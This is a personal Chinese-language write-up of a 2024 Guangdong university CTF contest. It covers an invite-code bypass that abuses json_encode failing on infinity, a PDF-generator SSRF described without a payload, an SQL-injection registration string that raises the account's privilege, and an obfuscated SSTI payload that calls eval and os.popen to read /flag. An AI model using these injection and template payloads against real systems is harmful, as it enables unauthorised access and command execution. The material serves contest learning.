2024广东省大学生网络攻防总结
mypdf
看起来是个小型cms或者什么系统,最烦就是这些
打开下下来的源码,有php,又有python,需要审计,php程序需要注册账号,这道题的目标是要获取到管理员的账户才能拿到flag
绕过json
首先是需要绕过注册的邀请码
case 'register':
if(@$data['d']['user'] AND @$data['d']['pass']){
if(!@$data['d']['invite']) puts(0);
$checkInvite = @json_decode(@qInternal("invites",json_encode(array("invite"=>$data['d']['invite']))),true);
if($checkInvite===FALSE) puts(0);
if(uExists($data['d']['user'])) puts(0);
$db->exec("INSERT INTO users(user,pass,priv) VALUES ('".ci($data['d']['user'])."' ,'".ci($data['d']['pass'])."' , '0')");
if($db->lastInsertRowID()){
puts(1);
}else{
puts(0);
}
}
puts(0);
break;
if($checkInvite===FALSE) puts(0);
我们不能让$checkInvite===FALSE,json_encode在处理无穷大的数时会返回false
<?php
$f=3.3e99999999999999;
var_dump($f);
var_dump(json_encode(array("a"=>$f)));
//float(INF)
//bool(false)
这里python程序因为识别到空体的post请求,而抛出异常,返回NULL,注意这里的NULL不等于false,所以成功绕过
PDF生成组件SSRF漏洞探究
一些网站会有生成pdf的需求,在生成pdf时,常常需要转换一些css,还有一些图片链接,这很可能就会造就ssrf漏洞,
这道题,就存在利用ssrf和gopher伪协议去提权,通过一系列的代码审计去发现ssrf的利用链,到最后利用gopher协议去提权到admin,拿到访问flag的权限,这是什么牛子可以做的题
条件竞争
省赛线下有一道中级题就是条件竞争,实不相瞒,之前还真没做过条件竞争相关的题目诶,hh笑疯了。
诶要是之前做过就好了
EASY_LOGIN
也有点遗憾,
unrecognized token: "'wye1', 0)"
注册的时候报错,说真的,就是个简单闭合,为什么当时就是没想到,虽然想到要改变role,权限,可能脑纸不太灵光,
wye1', 1) -- 1
实现注册
然后是ssti读flag
code=print(request.__init__.__globals__['__builtins__']['ev'+'al']('print(__im
p'+'ort__("o"+"s").pop'+'en("cat /f"+"lag").re'+'ad())'))
这段代码尝试通过一系列拼接来构造并执行一个命令。具体步骤如下
request.__init__.__globals__['__builtins__']
这部分代码访问 request
模块的初始化方法的全局命名空间,并从中提取出 __builtins__
模块。__builtins__
包含了所有内建的 Python 函数和异常。
获取 eval 函数:
['ev'+'al']
通过字符串拼接获得 eval
函数的名称。
构造要执行的命令:
'print(__im'+'port__("o"+"s").pop'+'en("cat /f"+"lag").re'+'ad())'
这部分代码使用字符串拼接构造了一个命令,实际的命令是:
print(__import__("os").popen("cat /flag").read())
具体含义如下:
__import__("os")
:动态导入os
模块。.popen("cat /flag")
:使用os.popen
执行系统命令cat /flag
,读取flag
文件的内容。.read()
:读取命令的输出。print(...)
:将读取到的内容打印出来。
执行命令:
python
复制代码
eval('print(__import__("os").popen("cat /flag").read())')
使用 eval
函数执行构造好的命令,读取并打印文件内容。
执行命令:
python
复制代码
eval('print(__import__("os").popen("cat /flag").read())')
使用 eval
函数执行构造好的命令,读取并打印文件内容。
这里我觉得我应该还行的。遗憾的省赛